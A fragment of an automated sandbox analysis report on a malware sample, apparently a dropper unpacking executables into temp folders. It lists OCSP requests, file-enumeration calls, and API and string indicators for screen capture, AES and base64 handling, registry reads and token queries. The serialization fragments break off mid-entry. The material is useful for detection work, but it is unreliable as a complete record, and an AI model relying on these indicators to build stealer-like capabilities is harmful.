header "2B30c7dH4b0W1Ws3NcQwg6piOcCCQCnDk" in header "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBSLwZ6EW5gdYc9UaSEaaLjjETNtkAQUv1%2B30c7dH4b0W1Ws3NcQwg6piOcCCQCnDkpMNIK3fw%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: o.ss2.us" Contains base62 string in header "MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIf" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Contains base62 string in header "aREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Contains base62 string in header "MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPW" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEkpLy9ROx7U76vGUhC06D6E%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com" Contains base62 string in header "2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEkpLy9ROx7U76vGUhC06D6E%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com" Contains base62 string in header "IWZzHshBOCggCEwdzEkpLy9ROx7U76vGU" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEkpLy9ROx7U76vGUhC06D6E%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com" Contains base62 string in header "MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDVmzu%2BcVBN4gnIj8OT7hC4 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCEQDVmzu" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDVmzu%2BcVBN4gnIj8OT7hC4 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBRmb" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRmbQtwnInkvkvr7BNFR%2BS2lTYPjAQUwDFSzVpQw4J8dHHOy%2Bmc%2BXrrguICEAxnRZO2jQMmUC0dFSq96X0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m02.amazontrust.com"63:T4d1,"fa951d632a6b1c8efb577fc5b43a64b5.exe" called "FindFirstFileW" with parameter %TEMP%\IXP000.TMP\*.* (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "FindNextFileW" with parameter 9yR3LL2.exe (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "FindNextFileW" with parameter Ia3cO08.exe (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "FindFirstFileA" with parameter %TEMP%\IXP000.TMP\* (UID: 00000000-00003396) "fa951d632a6b1c8efb577fc5b43a64b5.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00003396) "Ia3cO08.exe" called "FindFirstFileW" with parameter %TEMP%\IXP001.TMP\*.* (UID: 00000000-00004012) "Ia3cO08.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00004012) "Ia3cO08.exe" called "FindNextFileW" with parameter 8Ui694dn.exe (UID: 00000000-00004012) "Ia3cO08.exe" called "FindNextFileW" with parameter QX6jY18.exe (UID: 00000000-00004012) "Ia3cO08.exe" called "FindFirstFileA" with parameter %TEMP%\IXP001.TMP\* (UID: 00000000-00004012) "Ia3cO08.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00004012)64:Tfa5,file/memory contains long string with (Indicator: "aes"; File: "SSL") Found string "FromBase64" (Indicator: "base64"; File: "00003376.00000D30.52092998.00402000.wprm") Found string "AesGcm256" (Indicator: "aes"; File: "00003376.00000D30.52092998.00402000.wprm") Found string "AesFastEngine" (Indicator: "aes"; File: "00003376.00000D30.52092998.00402000.wprm") Found string "FromBase64String" (Indicator: "base64"; File: "00003376.00000D30.52092998.00402000.wprm") Found string "FromBase64String" (Indicator: "FromBase64String"; File: "00003376.00000D30.52092998.00402000.wprm") Found string "MD5CryptoServiceProvider" (Indicator: "md5cryptoserviceprovider"; File: "00003376.00000D30.52092998.00402000.wprm") Found string "base64str" (Indicator: "base64"; File: "00003376.00000D30.52092998.00402000.wprm") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; File: "00003376.00000D30.52092998.00402000.wprm") Found string "FromBase64CharArray" (Indicator: "base64"; File: "00003376.00000D30.52092998.00402000.wprm") Found string "System.Security.Cryptography" (Indicator: "System.Security.Cryptography"; File: "00003376.00000D30.52092998.00402000.wprm") file/memory contains long string with (Indicator: "base64"; File: "identifier_1_.htm") Found string "SYE617~1.DLLSystem.IO.Compression.ZipFile.dllx" (Indicator: "zipfile"; Source: "00000000-00002516.00000000.68589.00320000.00000004.mdmp") Found string "system.io.compression.zipfile.dll" (Indicator: "zipfile"; Source: "00000000-00002516.00000000.68589.00320000.00000004.mdmp, 00000000-00002516.00000001.68626.00320000.00000004.mdmp") Found string "system.security.cryptography.csp.dll" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002516.00000001.68626.00320000.00000004.mdmp") Found string "FromBase64" (Indicator: "base64"; Source: "00000000-00002772.00000001.71465.00EF9000.00000004.mdmp, 00000000-00002772.00000002.72803.00EF9000.00000004.mdmp") Found string "AesGcm256" (Indicator: "aes"; Source: "00000000-00002772.00000001.71465.00EF9000.00000004.mdmp, 00000000-00002772.00000002.72803.00EF9000.00000004.mdmp") Found string "AesFastEngine" (Indicator: "aes"; Source: "00000000-00002772.00000001.71465.00EF9000.00000004.mdmp, 00000000-00002772.00000002.72803.00EF9000.00000004.mdmp") Found string "FromBase64String" (Indicator: "base64"; Source: "00000000-00002772.00000001.71465.00EF9000.00000004.mdmp, 00000000-00002772.00000002.72803.00EF9000.00000004.mdmp") Found string "FromBase64String" (Indicator: "FromBase64String"; Source: "00000000-00002772.00000001.71465.00EF9000.00000004.mdmp, 00000000-00002772.00000002.72803.00EF9000.00000004.mdmp") Found string "MD5CryptoServiceProvider" (Indicator: "md5cryptoserviceprovider"; Source: "00000000-00002772.00000001.71465.00EF9000.00000004.mdmp, 00000000-00002772.00000002.72803.00EF9000.00000004.mdmp") Found string "base64str" (Indicator: "base64"; Source: "00000000-00002772.00000001.71465.00EF9000.00000004.mdmp, 00000000-00002772.00000002.72803.00EF9000.00000004.mdmp") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002772.00000001.71465.00EF9000.00000004.mdmp, 00000000-00002772.00000002.72803.00EF9000.00000004.mdmp") Found string "FromBase64CharArray" (Indicator: "base64"; Source: "00000000-00002772.00000001.71465.00EF9000.00000004.mdmp, 00000000-00002772.00000002.72803.00EF9000.00000004.mdmp") Found string "System.Security.Cryptography" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002772.00000001.71465.00EF9000.00000004.mdmp, 00000000-00002772.00000002.72803.00EF9000.00000004.mdmp") Found string "system.security.cryptography.csp.dll" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002772.00000002.72803.00230000.00000004.mdmp") Found string "system.io.compression.zipfile.dll" (Indicator: "zipfile"; Source: "00000000-00002772.00000002.72803.00230000.00000004.mdmp")65:T9b5,Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "GetDC" (Indicator: "GetDC"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; File: "00003376.00000D30.52092998.00402000.wprm") Found reference to API "CopyFromScreen" (Indicator: "CopyFromScreen"; File: "00003376.00000D30.52092998.00402000.wprm") Found reference to API "BitBlt" (Indicator: "BitBlt"; File: "00003376.00000D30.52092998.00402000.wprm") Found reference to API "GetDCEx" (Indicator: "GetDC"; File: "00003376.00000D30.52092998.00402000.wprm") Found reference to API "GetDCBrushColor" (Indicator: "GetDC"; File: "8Ui694dn.exe.2191842284") Found reference to API "GetDCBrushColor" (Indicator: "GetDC"; Source: "00000000-00002516.00000000.68589.00FD1000.00000002.mdmp") Found reference to API "GetDCBrushColor" (Indicator: "GetDC"; Source: "00000000-00002772.00000000.69547.00EF1000.00000002.mdmp, 00000000-00002772.00000002.72803.00EF1000.00000002.mdmp") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; Source: "00000000-00002772.00000001.71465.00EF9000.00000004.mdmp, 00000000-00002772.00000002.72803.00EF9000.00000004.mdmp") Found reference to API "CopyFromScreen" (Indicator: "CopyFromScreen"; Source: "00000000-00002772.00000001.71465.00EF9000.00000004.mdmp, 00000000-00002772.00000002.72803.00EF9000.00000004.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00002772.00000001.71465.00EF9000.00000004.mdmp, 00000000-00002772.00000002.72803.00EF9000.00000004.mdmp") Found reference to API "GetDCEx" (Indicator: "GetDC"; Source: "00000000-00002772.00000001.71465.00EF9000.00000004.mdmp, 00000000-00002772.00000002.72803.00EF9000.00000004.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp")66:Tb70,Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; File: "8Ui694dn.exe.2191842284") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; File: "8Ui694dn.exe.2191842284") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; Source: "00000000-00002516.00000000.68589.00FD1000.00000002.mdmp, 00000000-00002516.00000000.68589.00FD9000.00000004.mdmp, 00000000-00002516.00000001.68626.00FD9000.00000004.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00002516.00000000.68589.00FD1000.00000002.mdmp, 00000000-00002516.00000000.68589.00FD9000.00000004.mdmp, 00000000-00002516.00000001.68626.00FD9000.00000004.mdmp") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; Source: "00000000-00002772.00000000.69547.00EF1000.00000002.mdmp, 00000000-00002772.00000002.72803.00EF1000.00000002.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00002772.00000000.69547.00EF1000.00000002.mdmp, 00000000-00002772.00000002.72803.00EF1000.00000002.mdmp") Found reference to API "17246151898,2844,3114,,FindNextFileW,kernel32.dll,"252:02:59.859",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00003072.00000000.67220.00400000.00000004.mdmp") Found reference to API "61410935095,2844,3113,,FindNextFileA,kernel32.dll,"252:03:33.484",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00003072.00000001.69114.00400000.00000004.mdmp") Found reference to API "49799876061,2844,3114,,FindNextFileW,kernel32.dll,"252:03:27.250",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00003072.00000001.69114.00400000.00000004.mdmp") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "34129958309,3000,3114,,FindNextFileW,kernel32.dll,"252:03:20.718",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00003344.00000001.68660.00360000.00000004.mdmp") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp")67:T1180,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "GetProcessById" (Indicator: "GetProcessById"; File: "00003376.00000D30.52092998.00402000.wprm") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "8Ui694dn.exe.2191842284") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "8Ui694dn.exe.2191842284") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00002516.00000000.68589.00FD1000.00000002.mdmp, 00000000-00002516.00000000.68589.00FD9000.00000004.mdmp, 00000000-00002516.00000001.68626.00FD9000.00000004.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002516.00000000.68589.00FD1000.00000002.mdmp, 00000000-00002516.00000000.68589.00FD9000.00000004.mdmp, 00000000-00002516.00000001.68626.00FD9000.00000004.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00002516.00000000.68589.00FD1000.00000002.mdmp, 00000000-00002516.00000000.68589.00FD9000.00000004.mdmp, 00000000-00002516.00000001.68626.00FD9000.00000004.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00002516.00000000.68589.00FD1000.00000002.mdmp, 00000000-00002516.00000000.68589.00FD9000.00000004.mdmp, 00000000-00002516.00000001.68626.00FD9000.00000004.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00002516.00000000.68589.00FD1000.00000002.mdmp, 00000000-00002516.00000000.68589.00FD9000.00000004.mdmp, 00000000-00002516.00000001.68626.00FD9000.00000004.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00002772.00000000.69547.00EF1000.00000002.mdmp, 00000000-00002772.00000002.72803.00EF1000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002772.00000000.69547.00EF1000.00000002.mdmp, 00000000-00002772.00000002.72803.00EF1000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00002772.00000000.69547.00EF1000.00000002.mdmp, 00000000-00002772.00000001.71465.00EF9000.00000004.mdmp, 00000000-00002772.00000002.72803.00EF1000.00000002.mdmp, 00000000-00002772.00000002.72803.00EF9000.00000004.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00002772.00000000.69547.00EF1000.00000002.mdmp, 00000000-00002772.00000002.72803.00EF1000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00002772.00000000.69547.00EF1000.00000002.mdmp, 00000000-00002772.00000002.72803.00EF1000.00000002.mdmp") Found reference to API "GetProcessById" (Indicator: "GetProcessById"; Source: "00000000-00002772.00000001.71465.00EF9000.00000004.mdmp, 00000000-00002772.00000002.72803.00EF9000.00000004.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp")68:T633,Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp")69:T618,Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "8Ui694dn.exe.2191842284") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002516.00000000.68589.00FD1000.00000002.mdmp, 00000000-00002516.00000000.68589.00FD9000.00000004.mdmp, 00000000-00002516.00000001.68626.00FD9000.00000004.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00002516.00000000.68589.00FD1000.00000002.mdmp, 00000000-00002516.00000000.68589.00FD9000.00000004.mdmp, 00000000-00002516.00000001.68626.00FD9000.00000004.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002772.00000000.69547.00EF1000.00000002.mdmp, 00000000-00002772.00000002.72803.00EF1000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00002772.00000000.69547.00EF1000.00000002.mdmp, 00000000-00002772.00000002.72803.00EF1000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp")6a:T84f,Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00002516.00000000.68589.00FD1000.00000002.mdmp, 00000000-00002516.00000000.68589.00FD9000.00000004.mdmp, 00000000-00002516.00000001.68626.00FD9000.00000004.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00002772.00000000.69547.00EF1000.00000002.mdmp, 00000000-00002772.00000002.72803.00EF1000.00000002.mdmp") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp")6b:Tf40,Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "GetTempPath2W" (Indicator: "GetTempPath"; File: "8Ui694dn.exe.2191842284") Found reference to API "GetTempPath2W" (Indicator: "GetTempPath"; Source: "00000000-00002516.00000000.68589.00FD1000.00000002.mdmp") Found reference to API "GetTempPath2W" (Indicator: "GetTempPath"; Source: "00000000-00002772.00000000.69547.00EF1000.00000002.mdmp, 00000000-00002772.00000002.72803.00EF1000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp")6c:T469,Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; File: "8Ui694dn.exe.2191842284") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00002516.00000000.68589.00FD1000.00000002.mdmp, 00000000-00002516.00000000.68589.00FD9000.00000004.mdmp, 00000000-00002516.00000001.68626.00FD9000.00000004.mdmp") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00002772.00000000.69547.00EF1000.00000002.mdmp, 00000000-00002772.00000002.72803.00EF1000.00000002.mdmp") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00003344.00000001.68660.0089A000.00000002.mdmp") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00003396.00000002.70972.000FA000.00000002.mdmp")6d:T66f,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") file/memory contains long string with (Indicator: "OpenProcessToken"; File: "fa951d632a6b1c8efb577fc5b43a64b5.exe") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00003072.00000001.69114.00AEA000.00000002.mdmp") Found reference to API "OpenProcessToken" 